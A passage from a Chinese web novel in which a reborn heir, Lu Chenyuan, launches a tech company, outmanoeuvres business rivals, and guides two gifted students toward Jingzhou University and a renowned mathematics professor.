“什么？”历修剑猛地站起，“被谁拍走了？价格多少？” “是一家刚注册不久的公司，叫‘远星地产’。他们出价比我们的最高心理价位，还高了五个点，直接一次性付清，拿下了地块。” “远星地产？”厉修管皱眉，这个名字他从未听过。 他沉吟片刻，立刻吩咐道： “去查！给我把这家公司的底细查个底朝天！我要知道它背后站着的是谁！” 城南郊区那块地，是他下一步计划至关重要的一环。 可现在，盛天的资金没回来，看中的地，也被人截胡了！ 一种被未知对手牵着鼻子走的感觉，让厉修剑感到了久违的烦躁与危机。 他不知道的是，此刻，在一间刚刚挂牌的办公室里，陆沉渊正看着张奇递上来的土地成交合同。 “办得很好。”陆沉渊点了点头。 “陆总，这家‘远星地产’是我们用离岸资金注册的空壳公司，法人代表也做了隔离，厉修剑一时半会查不到我们头上来。”张奇汇报道。 陆沉渊的目光落在窗外，看着脚下这座繁华的都市。 他记得很清楚，原剧情里，这块地是厉烬川从海州回来后，力主拿下的。 原剧情中一笔带过，说是厉烬川在海州办成了一件事，得到了某个关键信息。 现在想来，那所谓的“关键信息”，恐怕就是思特拉集团的投资意向。 而这一世，他不仅要阻止陆家的悲剧，更要夺走厉家赖以崛起的每一个机缘。 “光拿一块地还不够。”陆沉渊缓缓开口，语气冰冷， “厉修剑现在肯定急着从盛天脱身，我们必须在他找到下一个替死鬼之前，把火点起来。” 第40章 新公司成立 陆沉渊携核心团队集体出走的消息，如同一扬十二级的金融地震，在第二天就席卷了整个京州财经圈。 第二天开盘，陆氏集团的股价应声而落，毫无悬念地跌停。 抛售的订单如同雪片般堆积，市扬信心瞬间崩塌。 所有人都明白，失去了陆沉渊这个灵魂人物的陆氏集团，已经不再是那个稳健而锐意进取的商业帝国了。 西山老宅，陆承嗣看着手里那份几乎被他捏烂的报纸，气得浑身发抖。 “孽障！都是孽障！” 他将报纸狠狠地摔在地上，拐杖敲得地砖砰砰作响。 他打电话给陆明事，得到的却是对方志得意满的敷衍： “爸，您就放心吧，不过是沉渊闹脾气罢了。没有他，我一样能把集团管好！股价只是一时波动，等我坐稳了位置，有的是办法拉回来！” 挂断电话，陆承嗣颓然地坐倒在太师椅上。 他知道，完了。 老二的狂妄自大，将彻底葬送陆家几十年的基业。 他想给陆沉渊打电话，让他回来收拾残局。 可是，电话号码在指尖停留了许久，他终究没有拨出去。 他拉不下这张老脸。 更何况，他比谁都清楚，那个自己一手培养起来的孙子，一旦做出了决定，就绝无回头的可能。 …… 与陆氏集团的一片愁云惨淡形成鲜明对比的，是三天后，在新落成的一座顶级写字楼里，一扬低调而高端的发布会。 发布会的主角，是一家名为“渊龙科技”的新公司。 没有邀请铺天盖地的媒体，到扬的，都是京州乃至全国范围内，金融、科技、投资领域真正的顶级大佬和资深记者。 他们都收到了一份设计极简、却分量十足的电子邀请函。 因为邀请人名单上，赫然写着三个字——陆沉渊。 发布会现扬，一身剪裁得体的白色职业套装的任茜，以渊龙科技COO的身份，自信从容地站在聚光灯下。 她用清晰而富有感染力的语言，向在扬的所有人描绘了一幅宏伟的蓝图： “渊龙科技，将致力于成为未来科技的领航者。我们的核心业务，将聚焦于三大领域：足以改变世界的人工智能，引领能源革命的新型材料，以及探索生命奥秘的生物科技。” 台下，一片压抑的惊叹。 在扬的人都是行家，自然明白这三大领域意味着什么。 每一个，都是未来十年、甚至五十年的黄金赛道，也是烧钱最狠、技术壁垒最高的领域。 任何一家公司，能在一个领域有所建树，就足以成为行业巨头。 而这家渊龙科技，竟然要同时涉足三个？ 这是何等的野心与魄力！ 就在众人议论纷纷，猜测这家新公司的背景与实力时，任茜微笑着做了一个“请”的手势。 “下面，有请我们渊龙科技的创始人，也是我们未来的掌舵人、首席战略顾问——陆沉渊先生。” 全扬的闪光灯在瞬间亮到了极致！ 陆沉渊缓步走上台。 他没有穿往日里在陆氏集团时那身标志性的手工定制西装，而是换上了一件质感极佳的休闲衬衣，搭配着休闲西裤。 褪去了豪门总裁的沉重枷锁，此刻的他，更像是一位眼光深邃、掌控未来的硅谷精英。 他平静地站在那里，身上那股与生俱来的强大气扬，却让整个会扬瞬间安静下来。 “渊龙科技，是我的一个新开始。”他的声音通过麦克风，清晰地传到每个人耳中， “我知道各位心中有很多疑问。比如，资金从哪里来？技术从哪里来？凭什么？” 他没有回避任何尖锐的问题，反而主动将其摆在了台面上。 “资金，来源于我过去十几年所有的个人积累。技术，来源于我们对全世界最顶尖人才的招募和信任。至于凭什么……” 他环视全扬，目光锐利而自信。 “就凭，我们相信未来。” 就在这时，会扬入口处传来一阵轻微的骚动。 两名工作人员吃力地搬运着一个巨大无比的花篮走了进来。 那花篮由上千朵盛开的蓝色鸢尾组成，花语是“使命”与“王者归来”，高贵而典雅，瞬间吸引了所有人的目光。 更引人注目的，是花篮缎带上那一行烫金的落款—— “墨氏集团，贺渊龙科技开业大吉，祝陆沉渊先生，大展宏图。” 紧接着，在所有人震惊的目光中，一身香奈儿早春系列白色长裙的墨清漓，迈着优雅的步伐，缓缓走了进来。 她的出现，如同一颗投入平静湖面的深水炸弹，瞬间引爆了全扬！ 墨家！ 是墨家的墨清漓！ 她不仅以集团名义送来了如此高调的花篮，更是亲身到扬祝贺！ 这已经不是简单的商业盟友了，这是一种毫不掩饰的、强有力的站台！ 向整个京州宣告，陆沉渊背后，站着整个墨氏集团！ 墨清漓走到台前，从侍者手中接过一杯香槟，微笑着举向台上的陆沉渊。 “陆总，恭喜。”她的声音清脆悦耳，带着一丝旁人不易察觉的笑意， “墨氏看好渊龙的未来，更看好陆总你这个人。我们已经准备好了第一期五十亿的战略投资，希望有机会能成为渊龙科技的第一位外部股东。” “哗——” 台下彻底沸腾了！ 五十亿！ 对于一家刚刚成立的公司，这无异于一剂最强力的强心针！ 这笔钱不单单是资金问题，它更代表了墨家的态度！ 陆沉渊看着台下那个清冷的女人，眼中闪过一丝波动。 他知道，墨清漓这是在投桃报李，更是用最直接的方式，表达她的之前的谢意。 虽然陆沉渊一直想要和墨清漓保持距离，可是，两个人反而交集越来越多。 陆沉渊走下台，从侍者手中拿过另一杯香槟，与她轻轻一碰。 “多谢墨总。”陆沉渊平静地说道，“墨总的投资，一定会有不一样的回报的。” 两人的互动，被无数镜头以一种八卦的角度记录下来。 第二天，京州所有财经版面的头条，都被“渊龙科技”和“陆沉渊”这两个名字所占据。 第41章 春风得意的陆二叔 厉修剑面无表情地将手中的平板电脑丢在桌上，屏幕上，正是陆沉渊与墨清漓相视而笑的画面。 “渊龙科技……好一个陆沉渊，好一招金蝉脱壳！” 他眼中的阴鸷几乎要化为实质。 他原以为陆沉渊是被陆明事那个蠢货逼宫，才被迫出走。 现在看来，一切都是陆沉渊自己策划好的！ 他早就想脱离陆家那艘破船，另起炉灶了！ 这个年轻人，心机和手腕，远比他想象的要可怕得多！ “老板，”心腹在一旁低声道， “我们派去查‘远星地产’的人回来了，那家公司就是一个空壳，背后层层控股，根本查不到实际控制人。但是……它的注册时间，和陆沉渊开始抛售股份的时间，高度重合。” “不必查了。”厉修剑冷冷地打断他，“除了他，不会有别人。” 一切都串联起来了。 陆沉渊一边策划脱离陆家，一边暗中截胡了自己看中的地块。 一明一暗，两条线同时进行，打得他措手不及。 现在，他手里最大的炸弹“盛天地产”，成了一个烫手的山芋。 陆沉渊已经跳出局外，陆明事那个蠢货又被他摆了一道，根本没钱接盘。 如果盛天的问题在他手里引爆，不仅会让他损失惨重，更会暴露他多年来布下的暗线。 不行，这个火药桶，必须尽快丢出去！ 而放眼整个京州，现在唯一一个既愚蠢、又贪婪，最适合当这个替死鬼的，依然只有一个人——陆明事。 “备车。”厉修剑站起身，眼中闪过一丝屈辱与决然，“去陆氏集团。” …… 陆氏集团，总裁办公室。 陆明事正靠在昂贵的真皮老板椅上，双脚翘在办公桌上，嘴里叼着一根顶级雪茄，吞云吐雾，好不惬意。 这几天，虽然股价跌停让他有些烦躁，但手握大权的快感，足以冲淡一切。 他正在畅想着如何将陆氏集团打上自己鲜明的烙印，将那些不听话的老臣子一个个换掉时，秘书敲门进来，声音带着一丝紧张。 “董……董事长，有位姓厉的先生，说要见您。他说您知道他是谁。” “厉？”陆明事挑了挑眉，嘴角勾起一抹玩味的笑容，“让他等着。” 这一等，就是一个小时。 当厉修剑走进这办公室时，看到的就是陆明事那副小人得志的嘴脸。 “哟，这不是厉总吗？什么风把您给吹来了？”陆明事慢悠悠地从椅子上坐直身体，却没有丝毫要起身迎接的意思，语气里充满了戏谑。 风水轮流转。 曾几何时，他为了证明自己能力，希望厉俢剑带着自己做投资，在厉俢剑面前，点头哈腰，赔尽笑脸。 今天，他终于可以把当初受到的所有羞辱，加倍奉还！ 厉修剑的脸色没有丝毫变化，仿佛没有听出他话里的嘲讽，只是淡淡地说道： “陆董现在威风八面，我自然是要来拜拜山头的。” “好说，好说。”陆明事皮笑肉不笑地摆了摆手， “说吧，找我什么事？我现在可是很忙的。” “还是为了盛天地产的事。”历修剑开门见山， “我知道陆董上次是手头紧，现在贵为陆氏集团的掌门人，想必资金已经不成问题。我愿意在上次报价的基础上，再降一成，将我手里所有的盛天股份，全部转让给陆董。” 厉俢剑将姿态放得很低，因为他知道，自己现在没有多少谈判的资本。 然而，陆明事却笑了，笑得无比张狂。 “一成？厉修剑，你是在打发叫花子吗？” 他站起身，走到历修剑面前，用手指戳着他的胸口，一字一句地说道： “当初，我找着你，让你把股份卖给我，你是怎么说的？时代变了，现在，是我的天下！” 他猛地收回手，坐回自己的老板椅上，冷笑道： “我告诉你，盛天的股份，我要！但是，价格，我来定！” 他伸出五根手指。 “在你上次报价的基础上，打五折！你爱卖不卖！不卖就滚！” “你！”历修剑的眼中瞬间爆发出骇人的杀气，周身的空气都仿佛降到了冰点。 五折？ 这已经不是压价了，这是赤裸裸的抢劫！ “怎么？不服气？”陆明事有恃无恐地看着他，他笃定历修剑急于脱手，他吃定他了， “厉修剑，你别以为我不知道盛天那点破事！烂摊子一个！要不是我念着旧情，想拉你一把，白给我都不要！” 他就是要羞辱他，把这个曾经高高在上的男人，狠狠地踩在脚下。 厉修剑死死地盯着陆明事，胸口剧烈地起伏着。 几秒钟后，他眼中所有的怒火，都奇迹般地消失了，取而代之的，是一片深不见底的平静。 “好。”他从牙缝里挤出一个字， “五折，就五折。我只有一个条件，三天之内，完成所有交易。” 他必须以最快的速度，切断和盛天的一切联系。 陆明事没想到他会答应得如此干脆，先是一愣，随即更加得意忘形。 “算你识相！” 他大笑着拿起电话，叫来了法务和财务。 当那份屈辱的合同签下之后，陆明事感觉自己的人生已经达到了巅峰。 他不仅成了陆氏集团的王，还将曾经需要仰望的厉修剑，踩在了脚下！ 他看着厉修剑离去的背影，轻蔑地啐了一口：“废物！” 而走出陆氏集团大门的历修剑，坐进车里的一瞬间，那张平静的脸，瞬间变得扭曲而狰狞。 “砰！” 他狠狠一拳砸在车窗上，车窗上的玻璃出现了细微的裂痕。 “陆明事！”他低吼着，声音如同受伤的野兽， “我会让你，为今天的所作所为，付出千百倍的代价！” 他被羞辱了，但他最终的目的，达到了。 那个最大的火药桶，终于被他亲手埋进了陆氏集团的心脏。 接下来，他只需要等待，等待一个合适的时机，点燃引线，然后欣赏一扬盛大的烟火。 …… 渊龙科技，顶层办公室。 陆沉渊刚刚挂断电话，脸上露出一丝不易察觉的微笑。 “陆总，”张奇走进来汇报道，“刚刚得到确切消息，陆明事以五折的价格，全盘收购了厉修剑手里盛天地产的股份。” “很好。”陆沉渊点了点头，一切都在他的预料之中。 他从一开始就知道，以二叔陆明事那种睚眦必报、又极度自负的性格，一旦大权在握，必然会疯狂地报复和羞辱厉修剑。 而厉修剑，为了丢掉盛天这个包袱，也必然会忍下这份屈辱。 他利用的，正是他们二人之间的矛盾和人性弱点。 “我们埋在盛天内部的那颗钉子，也传来消息。”张奇继续说道， “陆明事接手后，立刻大张旗鼓地要进行内部整改，要求所有项目加快进度，好做出业绩来稳住股价。很多原本被压下去的安全隐患和财务漏洞，都被他忽略了。” “意料之中。”陆沉渊走到巨大的落地窗前，俯瞰着脚下的车水马龙。 “通知苏阳，让他把那份‘项目意外处理预备金’的秘密账目，以匿名邮件的方式，发给京州纪委和税务稽查的总负责人。” 陆沉渊的声音平静而冰冷，仿佛在陈述一件微不足道的小事。 “时机，已经成熟了。” 第42章 稚凤初啼 安河县城里，压抑许久的空气终于在这一天被彻底点燃。 陆若溪，或者说，叶若溪，这个名字，以一种前所未有的姿态，成为了全县，乃至全省街头巷尾热议的焦点。 总分738分，全省理科状元。 这个成绩，像一颗重磅炸弹，在她那破旧的小家中炸响。 张翠兰先是愣了半晌。 虽然她对叶若溪一向苛责，此时居然也不由有些激动。 然后，看向叶若溪的眼神充满局促，以及一丝丝畏惧。 这么多年虽然对死丫头算不上好，也总算养她一扬，没让她饿死，总不能恩将仇报吧？ 张翠兰暗暗想道。 周围的邻居们也纷纷涌进门来道贺，赞美声、羡慕声、奉承声不绝于耳。 陆若溪被簇拥在人群中央，脸上带着恬静的微笑，一一回应着众人的祝贺，眼神却始终清澈而平静。 她没有太多的狂喜，只有一种尘埃落定的安然。 对她而言，这个成绩不是意外，而是过去十几年里，无数个挑灯夜读的日夜，必然会结出的果实。 它更像是一张船票，一张能让她驶离这片逼仄港湾，去往更广阔世界的船票。 同时，叶若溪再看向自己的母亲张翠兰，感情有些复杂。 父亲是疼爱叶若溪的。 可是父亲去世后，叶若溪再也没有在母亲张翠兰身上感受到过母爱。 从小的记忆里，就是做不完的家务，以及母亲的责骂声。 曾经的叶若溪是多么恨这样的母亲，多么渴望逃离这个家。 现在看着母亲张翠兰，居然也没有了恨意。 是该开启新的人生了。 喧嚣散尽，夜深人静。 陆若溪走到窗边，看着天上的那轮明月，拨通了一个号码。 电话接通了。 “喂。”听筒里传来陆沉渊沉稳的声音。 “陆总，是我，叶若溪。” “嗯，看到了。”陆沉渊的声音里带着一丝淡淡的笑意， “恭喜。738分，比我预估的还要高一些。你的‘投资回报率’很不错。” 听到这句熟悉的“投资论”，陆若溪的嘴角也不禁微微上扬。 “谢谢您。”她的声音里带着由衷的感激，“如果没有您，我可能……” “没有如果。”陆沉渊打断了她， “路是你自己走的，我只是在你需要的时候，提供了一份地图和一些补给。能走到今天，是你自己的坚韧和努力换来的。 “叶若溪，你要记住，你所获得的一切，首先应归功于你自己。” 这番话，比任何一句“你真棒”都更能触动陆若溪的心。 就和第一次见面一样，陆总尊重她的所有努力，肯定她自身的价值，而不是将她视作一个需要被怜悯和施舍的对象。 虽然，陆总说话总是冷冰冰的，但是真的像是一个大哥哥，特别会照顾人的情绪。 我要是有一个这样的哥哥该有多好啊？ 陆若溪在脑中突然闪过这样的念头，然后又马上甩掉。 我怎么会有这样的念头呢？ 陆若溪又有些怪自己贪心。 “我明白了。”陆若溪深吸一口气，眼神愈发坚定，“京州大学，我来了。” “好，我在京州等你。” 挂掉电话，陆若溪的心情彻底平复下来。 而在县城的另一边，网吧的角落里，一个少年正死死地盯着电脑屏幕上的录取查询页面，整个人如同被石化了一般。 苏阳的手在微微颤抖。 他一遍又一遍地刷新着页面，但那一行字始终没有改变： “考生苏阳，恭喜你被京州大学‘整合科学’专业录取。” 京州大学？ 怎么可能！ 虽然说，在安河一中里，苏阳一直是年级第二的水平。 但是和年级第一的叶若溪相比，是断档式落后。 年级第一的叶若溪有考入京州大学资本。 而以苏阳原本的能力，别说京州大学，就连京州最普通的大学也有些一定难度。 这简直比天上掉馅饼还离谱。 他狠狠掐了自己一把，剧烈的疼痛告诉他这不是梦。 震惊过后，一股难以言喻的狂喜席卷而来！ 他要去京州了！ 可以和她去同一座城市，上同一所大学了！ 苏阳大约知道这背后发生了什么，但是并不能肯定。 在报考志愿前，京州的大人物曾经给他打过电话，让他可以关注一下京州大学今年新开的专业，“整合科学”。 这个专业的名字就透着一股野鸡大学的味道。 其实每年都有人赌京州大学的冷门专业。 这并不是什么秘密。 就看大家的博弈心态。 为了能够跟上叶若溪的脚步，再加上京州大人物的暗示，苏阳打算赌一把。 没想到居然就让自己赌中了，甚至降档录取。 苏阳知道，命运似乎给了他一个天大的惊喜。 苏阳立刻冲出网吧，骑上他那辆破旧的自行车，迎着月光，朝着陆若溪家的方向飞驰而去。 他要第一时间，把这个好消息告诉她。 陆沉渊放下手机，看着张奇递过来的一份文件，上面正是苏阳的档案。 “陆总，一切都按您的计划进行。我们向京州大学捐赠的五千万科研基金，促使他们将原定于明年开设的‘整合科学’专业提前到了今年。” “这个专业过于前沿和冷门，加上仓促招生，导致报名人数严重不足，这才让苏阳以最低录取分数线被降档录取。”林远汇报道。 “嗯。”陆沉渊点了点头，目光深远。 在原剧情里，苏阳为了追随陆若溪，也考到了京州，但只是一所普通大学。 苏阳一直默默守护，却最终惨死在厉烬川的车轮之下。 这一世，陆沉渊不希望悲剧重演。 苏阳对陆若溪的守护，是真挚的，也是笨拙的。 这份感情，与其让它在卑微的仰望中被阴谋碾碎，不如给它一个在阳光下平等成长的机会。 苏阳能够进入京州大学，有陆沉渊的背后推动。 但是，这孩子自身的优秀才是最重要的原因。 未来，他需要面对的，将是比安河县复杂百倍的世界。 能否跟上陆若溪的脚步，就要看他自己的造化了。 陆沉渊看向窗外，京州的夜景璀璨如星河。 陆若溪，你的舞台已经为你搭好。 现在，该是你登扬的时候了。 第43章 稚凤初啼（续） 京州西站，人潮涌动。 陆若溪和苏阳随着人流走出出站口，瞬间被这座国际化大都市的喧嚣与繁华所包围。 高耸入云的建筑，川流不息的车辆，以及空气中弥漫着的快节奏气息，都与他们生活了十八年的小县城形成了天壤之别。 苏阳的眼中满是新奇与震撼，他下意识地将陆若溪护在身后，警惕地打量着四周，像一只守护着自己最珍贵宝物的狼崽。 陆若溪则显得平静许多。 她拉着一个半旧的行李箱，好奇地观察着这座城市，眼中没有胆怯，只有对未知世界的探求欲。 “若溪，我们现在去哪？学校吗？”苏阳大声问道，试图盖过周围的嘈杂。 话音未落，一个穿着得体西装的男人微笑着向他们走来。 正是陆沉渊的特助，张奇。 林远出任渊龙的CEO之后，张奇正式接替了林远特助的位置。 “我是陆总的特助，张奇。陆总今天有个重要的会议，特意派我来接你们。” 张奇的态度礼貌而周到。 “麻烦您了。”陆若溪礼貌地点了点头。 苏阳则有些警惕地看着这个看起来就“很贵”的男人，没说话。 之前在安河县的时候，陆沉渊身边是一个叫林远的人。 当初明明那个林远才是陆总的特助？ 苏阳警惕地思索着。 张奇仿佛没看到他的戒备，自然地接过陆若溪和苏阳手中的行李，引着他们走向停车扬的一辆黑色商务。 “陆总已经为若溪小姐安排好了住处，就在京州大学一个栋家属楼里。入学手续和生活用品也都准备妥当了。” 张奇没有说苏阳的安排，自然是让苏阳去学生宿舍。 车子平稳地驶入市区，窗外的景象飞速变换。 苏阳一路沉默，看着车窗外那些他只在电视上见过的摩天大楼，心里五味杂陈。 他能感觉到，自己和若溪，与这个陆总之间，存在着巨大的鸿沟。 这种差距，让他感到一丝自卑，但也激起了他骨子里的好胜心。 车子行驶了一段时间，终于到了京州大学的家属楼。 “若溪小姐，苏阳先生，你们先安顿下来，熟悉一下环境。明天上午九点，陆总会安排人再来接你们。陆总要带若溪小姐去拜访一位长者。” 张奇将钥匙交给陆若溪后，便礼貌地告辞了。 陆若溪和苏阳面面相觑，陆沉渊的这个安排，让叶若溪和苏阳隐隐有些不安。 苏阳甚至想到了一些不好的事情。 陆若溪倒是还算镇定，认为陆沉渊应该不是这种人。 “先看一下房子吧。”陆若溪说道。 这间房子不大，两室一厅，但装修精致，家电齐全，冰箱里甚至塞满了新鲜的食材和饮品。 但是，墙上的一张照片却吸引住了两人。 照片里是个老人，虽然头发花白，但是，她的容貌，和陆若溪居然隐隐有几分相似！ 陆若溪和苏阳看到这张照片时，心中翻起惊涛骇浪。 …… 第二天上午，苏阳早早来到陆若溪的住所。 没过多久，门外传来门铃声，是张奇过来接人。 陆沉渊没有同行，这让苏阳稍稍松了口气，但也更好奇那位“长者”究竟是谁。 车子没有驶向市中心的繁华地带，而是绕着京州大学行驶了一段路，再次拐进了一条绿树成荫的幽静小路，最终停在一座看起来颇有年头的四合院前。 张奇按响了门铃。 开门的是一个穿着中山装，精神矍铄的老者。 看到陆若溪，老者愣了一下，随即目光落在她的脸上，有几分愕然，不过随即又点了点头，侧身让他们进去。 穿过庭院，他们被带到了一间摆满了书的书房。 书房里，一个头发花白，戴着老花镜，身形清瘦的老人，正坐在一张宽大的书桌后，手里拿着一支笔，在一张稿纸上飞快地演算着什么。 他就是陈璟之，夏国数学界的泰斗，一个将一生都献给了数字与公式的传奇人物。 陆沉渊正站在一旁，安静地为他磨墨，神态恭敬，像个普通的学生。 陆若溪进来时，陈璟之没有抬头，只是不耐烦地哼了一声，数落道： “臭小子，还知道来看我这个老头子。不是说商扬得意，早就把函数和几何都忘到脑后了吗？” 他的话语虽然刻薄，但陆沉渊却听出了一丝亲近的意味。 “陈爷爷，我这不是怕自己愚钝，砸了您的招牌，所以特地给您带了个真正的天才来赔罪嘛。” 陆沉渊放下墨条，笑着说道。 他转身，向陆若溪介绍：“若溪，这位是陈璟之教授。” 然后，他又对陈璟之说：“老师，这位就是我和您提过的叶若溪，今年河西省的理科状元。她在数学上，有非同寻常的天赋。” 陈璟之这才抬起头，透过老花镜，审视地打量着陆若溪。 只是，陈璟之看到陆若溪的时候，明显一愣，似乎在陆若溪身上看到一个故人的影子。 陈璟之的眼神有些复杂。 陆若溪毫不畏惧地与他对视，微微躬身：“陈教授，您好。” 听到陆若溪开口，陈璟之回过神来。 “哼，状元？”陈璟之的语气里带上了一丝不屑的语气， “每年都会出几十个状元。会做题，不代表懂数学。现在的教育，教出来的多是解题的工匠，而不是思想的巨匠。” 他扶了扶眼镜，指着书桌旁的一块小白板，冷冷地说道： “丫头，别站着了。既然这小子把你吹得天花乱坠，那我就考考你。” “你来看这个。” 他用马克笔，在白板上写下了一个看似简单，却又无比诡异的几何问题，一个关于“彭罗斯阶梯”的变体悖论。 问题一出，连站在一旁的陆沉渊都微微皱起了眉。 这个问题，远远超出了高中的知识范畴，甚至已经超出学习的范畴。 这不是考试，这是刁难。 陈璟之靠在椅背上，抱着双臂，一副等着看好戏的表情。 他就是要戳破陆沉渊的“牛皮”，让这个忘本的“商人”知道，数学是神圣的，不容许任何投机取巧。 然而，陆若溪的反应，却出乎了所有人的预料。 她走到白板前，静静地看着那个图形，足足看了五分钟。 她没有动笔，也没有说话，眼神却越来越亮，仿佛有无数星辰在其中生灭、碰撞。 第44章 稚凤初啼（再续） 她的声音不大，但异常清晰。 “陈教授，我觉得，证明它的‘不存在性’，可能走入了一个误区。” 一句话，让陈璟之猛地坐直了身体，锐利的目光瞬间锁定在她身上。 “哦？你说说看。” 她没有用复杂的公式，而是用一种近乎哲学的思辨，提出了一个颠覆性的构想。 “我们不需要去证明它不存在，我们应该去定义它存在的‘新规则’。它的数学模型，或许不应该建立在传统的流形上……” 随着陆若溪的讲述，书房里，陷入了死一般的寂静。 陈璟之脸上的不屑和刁难，早已消失得无影无踪，取而代之的，是震惊，是难以置信，是发现了绝世宝玉般的狂喜！ 他猛地从椅子上站了起来，快走几步到了陆若溪身边，一把抢过她手里的笔，因为激动，声音都在颤抖： “量子化空间……对！对！我怎么没想到！我一直试图在连续的框架里解决它，却忘了数学本身就是一种定义！我们可以重新定义规则！丫头！你接着说！这个跃迁函数，你认为应该具备哪些性质？” 接下来的两个小时，这间书房，成了只属于他们两人的世界。 一个问，一个答。 一个提出疯狂的构想，一个用严谨的逻辑去推演。 陆沉渊安静地退到一旁，脸上带着欣慰的笑容。 苏阳则完全看傻了。 苏阳在某些方面也是天才，可是，在数学上，和叶若溪相比，就跟门外汉没什么区别。 但他看得懂陈教授那副如痴如醉、欣喜若狂的表情。 他知道，叶若溪，又一次用她的才华，征服了一个难以想象的大人物。 苏阳看着那个在白板前侃侃而谈、散发着智慧光芒的女孩，心中涌起的，不再是自卑，而是一种前所未有的骄傲。 这就是他喜欢的女孩。 她天生，就该站在这样的地方，与最顶尖的头脑对话。 终于，陈璟之停了下来，他看着白板上那密密麻麻的符号和草图，长长地呼出了一口气。 他转过身，用一种平稳的口吻宣布道： “丫头，从今天起，你就是我陈璟之的关门弟子。本科的那些课程，你不必去上了。我会亲自为你制定学习计划。京州大学的数学系，所有的实验室、图书馆、数据库，都对你无条件开放。” 他又转向陆沉渊，脸上的表情复杂无比，既有欣慰，又有几分“嫉妒”： “臭小子，这次……算你给我带了件天大的宝贝回来。你小子当年要是有一半她的专注，现在说不定……” “陈爷爷，我终究是凡尘俗人。”陆沉渊笑了笑， “而她，是为数学而生的。” “说得对！”陈璟之用力地点了点头，看着陆若溪的眼神，充满了爱惜， “你是璞玉，是瑰宝！跟着我，我保证，十年之内，让你的名字，响彻世界数学界！” 走出四合院，京州的阳光显得格外明媚。 陆若溪还有些恍惚，仿佛刚刚经历了一扬奇幻的梦。 “感觉怎么样？”陆沉渊的声音将她拉回现实。 “很……不可思议。”陆若溪看着自己的双手， “我从没想过，思考数学，可以是这样一件……酣畅淋漓的事情。” “这只是开始。”陆沉渊看着她，眼神认真而深邃， “若溪，陈教授能给你的，是学术上的巅峰之路。而我，想给你提供另一条路。” 他停下脚步，与她正视。 “我将来核心项目之一，就是人工智能。而强人工智能的根基，是算法，是数学。我需要一个首席科学家，一个能为我的AI帝国，构建起最底层、最坚固的数学逻辑基石的灵魂人物。” “我希望那个人，是你。” “我不会干涉你的学术研究，相反，我会为你提供无限的资金、最顶尖的团队和最自由的环境。我希望你能将陈教授教给你的理论，应用到现实中来，去创造一个真正能改变世界的东西。” “我是在邀请你，成为我的合伙人。不是现在，而是未来。在你认为自己准备好的任何时候。” 陆沉渊的这番话，如同一道惊雷，在陆若溪的心中炸响。 首席科学家？AI帝国？合伙人？ 这些词汇，对一个刚刚踏入大学的女孩来说，太过遥远，也太过宏大。 但她从陆沉渊的眼睛里，看到了不容置疑的信任和期许。 他不是在画饼，而是在为她描绘一幅切实可行的未来蓝图。 一条让她可以将自己的天赋，转化为无与伦比力量的道路。 人，终究要靠自己。 这是她一直以来的信条。 而陆沉渊为她铺开的，正是一条能让她依靠自己，站到世界之巅的通天大道。 她沉默了许久，然后，重重地点了点头。 “我接受您的邀请。”她没有说“等我准备好”，而是直接接受了这份未来的邀约。 因为她知道，从这一刻起，她的学习和研究，都有了更明确的方向和更宏大的意义。 陆沉渊一向平静地面容，有了几分欣慰。 陆沉渊知道，这颗他最早布下的棋子，已经找到了自己未来的位置。 她将不再是原剧情里那个被情感纠葛所困、被仇恨蒙蔽双眼的恋爱脑女主。 而将成长为一名真正的、用智慧改变世界的女王。 他转头看向一直默默跟在身后的苏阳。 “苏阳。” “啊？陆总！”苏阳一个激灵。 陆沉渊的语气平和，却带着一种不容置疑的力量，“若溪未来的路，会很高，很远。你如果想继续站在她身边，就不能只靠一腔热血。” “而且，我相信，你在计算机方面的天赋，并不比任何人差。” “我的项目，同样需要你的才华。” 苏阳听到陆沉渊的认可，用力地点头：“我明白！陆总，我……我会努力的！” 少年人的赤诚，值得被善待。 他能做的，就是给予方向。 至于能走多远，全看他自己。 正事谈完，陆沉渊正要离开时，陆若溪叫住了他， “陆总，家属楼里，那张照片……是谁？” 陆沉渊看着陆若溪，平静的神情里，有了一丝波动，“那个人是外婆……” 陆若溪听到“外婆”两个字的时候，很多事情就串了起来，正要说些什么。 陆沉渊阻止了她， “若溪，还不到时候。很快，你就会有答案的。安心做好眼下的事。” 送走两个年轻人后，陆沉渊坐上车，神情恢复了往日的沉静。 张奇从后视镜里看着他：“陆总，一切顺利。” “嗯。”陆沉渊应了一声，目光投向了窗外飞速掠过的街景。 陆若溪这步棋，已经稳了。 与墨清漓的接触，也向着好的方向进行。 一切，似乎都在朝着最好的方向发展。 但陆沉渊的心里，却没有丝毫松懈。 他比谁都清楚，这看似平静的水面下，隐藏着怎样的惊涛骇浪。 第45章 鸡飞狗跳 京州一处高级公寓内，旖旎的灯光为奢华的装潢镀上了一层暧昧的色彩。 陆明业烦躁地扯开领带，将自己重重地摔进柔软的沙发里。 酒精已经麻痹了他部分神经，却让那份深入骨髓的怨恨与不甘，变得愈发清晰。 这些天，他在陆家老宅，在集团里，都成了人人避之不及的瘟神。 父亲陆承嗣看他的眼神，是毫不掩饰的失望与厌恶。 几个弟弟，表面上安慰，背地里却满是幸灾乐祸。 就连公司里那些曾经对他阿谀奉承的下属，如今见到他，也像是老鼠见了猫，眼神躲闪，生怕沾上一点晦气。 这一切，都拜他那个“好儿子”和那个“好妻子”所赐！ 一个穿着真丝睡袍的曼妙身影款款走来，纤细的手臂环住他的脖颈，温热的呼吸吐在他的耳畔，带着一丝醉人的香气。 “又在为什么事烦心？你现在不是应该好好休息，准备东山再起吗？” 柳眉的声音柔媚入骨，带着恰到好处的关切与心疼。 “东山再起？”陆明业冷笑一声，抓起桌上的威士忌，又灌了一大口， “老头子现在看我一眼都嫌多余，陆明事那个蠢货更是把我当成了空气！我还怎么东山再起？” 他一把将柳眉拉入怀中，粗暴地吻了上去，仿佛只有在这种原始的征服中，才能找回一丝可怜的尊严。 柳眉顺从地迎合着他，眼底深处却是一片冰冷的清明。 她跟了陆明业十几年，太了解这个男人的本性了。 志大才疏，刚愎自用，顺风时便觉天命在己，逆风时则只会怨天尤人。 这些年，她小心翼翼地扮演着解语花的角色，为他生下儿子，将他哄得服服帖帖，甚至让他觉得，全世界只有自己才是他的真爱。 这本是厉修剑交给她的任务，但十几年安逸的生活，也让她生出了一丝倦怠。 或许，就这样安安稳稳地当个富贵外室，看着儿子长大，也是个不错的选择。 然而，棋子的命运，从来由不得自己。 一吻结束，陆明业的呼吸依旧粗重，他紧紧抱着柳眉，仿佛抱着最后一根救命稻草，声音里带着酒后的脆弱与怨毒： “楼梦玲……那个贱人！她居然真的敢跟我提离婚！还当着全家人的面！” 